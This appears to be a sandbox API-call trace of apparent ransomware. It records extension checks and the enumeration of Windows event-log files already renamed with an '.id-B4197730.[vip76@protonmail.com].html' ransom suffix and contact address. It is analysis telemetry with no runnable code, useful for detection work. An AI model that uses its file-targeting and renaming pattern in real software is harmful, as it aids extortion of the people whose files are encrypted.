	[0167.456] lstrlenW (lpString=".dng") returned 4
	[0167.456] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0167.456] lstrlenW (lpString=".doc") returned 4
	[0167.456] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0167.456] lstrlenW (lpString=".docm") returned 5
	[0167.456] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0167.456] lstrlenW (lpString=".docx") returned 5
	[0167.456] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0167.456] lstrlenW (lpString=".dot") returned 4
	[0167.456] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0167.456] lstrlenW (lpString=".dotm") returned 5
	[0167.456] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0167.456] lstrlenW (lpString=".dotx") returned 5
	[0167.456] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0167.456] lstrlenW (lpString=".dpx") returned 4
	[0167.456] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0167.456] lstrlenW (lpString=".dqy") returned 4
	[0167.456] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0167.456] lstrlenW (lpString=".dsn") returned 4
	[0167.456] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0167.456] lstrlenW (lpString=".dt") returned 3
	[0167.456] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0167.456] lstrlenW (lpString=".dtd") returned 4
	[0167.456] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0167.456] lstrlenW (lpString=".dwg") returned 4
	[0167.457] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".dwt") returned 4
	[0167.457] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".dx") returned 3
	[0167.457] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0167.457] lstrlenW (lpString=".dxf") returned 4
	[0167.457] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".edml") returned 5
	[0167.457] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0167.457] lstrlenW (lpString=".efd") returned 4
	[0167.457] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".elf") returned 4
	[0167.457] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".emf") returned 4
	[0167.457] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".emz") returned 4
	[0167.457] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".epf") returned 4
	[0167.457] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".eps") returned 4
	[0167.457] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".epsf") returned 5
	[0167.457] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0167.457] lstrlenW (lpString=".epsp") returned 5
	[0167.457] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0167.457] lstrlenW (lpString=".erf") returned 4
	[0167.457] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".exr") returned 4
	[0167.457] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".f4v") returned 4
	[0167.457] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0167.457] lstrlenW (lpString=".fido") returned 5
	[0167.457] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0167.458] lstrlenW (lpString=".flm") returned 4
	[0167.458] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".flv") returned 4
	[0167.458] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".frm") returned 4
	[0167.458] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".fxg") returned 4
	[0167.458] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".geo") returned 4
	[0167.458] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".gif") returned 4
	[0167.458] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".grs") returned 4
	[0167.458] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".gz") returned 3
	[0167.458] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0167.458] lstrlenW (lpString=".h") returned 2
	[0167.458] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0167.458] lstrlenW (lpString=".hdr") returned 4
	[0167.458] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".hpp") returned 4
	[0167.458] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".hta") returned 4
	[0167.458] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".htc") returned 4
	[0167.458] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".htm") returned 4
	[0167.458] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0167.458] lstrlenW (lpString=".html") returned 5
	[0167.458] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0167.458] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html") returned 96
	[0167.459] lstrlenW (lpString=".html") returned 5
	[0167.459] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0167.459] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87d05ab7, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87d05ab7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87d05ab7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIBE83~1.HTM")) returned 1
	[0167.459] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[vip76@protonmail.com].html") returned 95
	[0167.459] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87d2bc3a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87d2bc3a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87d2bc3a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIBE7E~1.HTM")) returned 1
	[0167.459] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88397fa9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88397fa9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88515814, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11164, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI0157~1.HTM")) returned 1
	[0167.459] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880bf5ad, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x880bf5ad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x880bf5ad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI8C1D~1.HTM")) returned 1
	[0167.459] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880e580e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x880e580e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x880e580e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIAAF0~1.HTM")) returned 1
	[0167.459] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880e580e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x880e580e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88397fa9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIC337~1.HTM")) returned 1
	[0167.459] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88515814, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88515814, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8853ba4a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI4F1D~1.HTM")) returned 1
	[0167.459] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8853ba4a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8853ba4a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88ae540c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI91AD~1.HTM")) returned 1
	[0167.459] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88561c6d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88561c6d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88ae540c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101180, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIB220~1.HTM")) returned 1
	[0167.460] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885d44ae, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x885d44ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x885d44ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE40D~1.HTM")) returned 1
	[0167.460] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885fa707, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x885fa707, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x885fa707, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIA461~1.HTM")) returned 1
	[0167.460] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8866cd56, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8866cd56, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8866cd56, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11136, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI9BF9~1.HTM")) returned 1
	[0167.460] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8869302a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8869302a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8869302a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI3D1F~1.HTM")) returned 1
	[0167.460] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8869302a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8869302a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x886b92ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI88F3~1.HTM")) returned 1
	[0167.460] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8891b871, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8891b871, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88ae540c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1115a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIA288~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88b0c34e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88b0c34e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88b0c34e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI5B16~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88b0c34e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88b0c34e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x88b31851, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIFEC2~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c88ea8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x88c88ea8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x891277b1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1114a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI2916~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89173cf5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89173cf5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8919a26a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-International%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI27D2~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8919a26a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8919a26a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89507423, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE37E~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892a529d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x892a529d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x892a529d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE1AC~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892da45e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x892da45e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x898022f9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI6282~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893689b1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x893689b1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89389cbe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11154, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MID999~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89389cbe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89389cbe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x898022f9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1114e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI9980~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893b00af, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x893b00af, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x893b00af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1114a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI4E34~1.HTM")) returned 1
	[0167.461] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893dd05e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x893dd05e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x893fc357, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI5583~1.HTM")) returned 1
	[0167.462] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8978fb96, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8978fb96, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x897b601a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI2AD0~1.HTM")) returned 1
	[0167.462] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899cbf7e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x899cbf7e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89c60725, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI9686~1.HTM")) returned 1
	[0167.462] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x897b601a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x897b601a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x897b601a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MICBA4~1.HTM")) returned 1
	[0167.463] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x897dc0b9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x897dc0b9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x897dc0b9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11126, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE520~1.HTM")) returned 1
	[0167.463] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c7ab1d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89c7ab1d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89c7ab1d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIEBD2~1.HTM")) returned 1
	[0167.463] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ca0d27, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89ca0d27, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89ca0d27, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11134, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI48FC~1.HTM")) returned 1
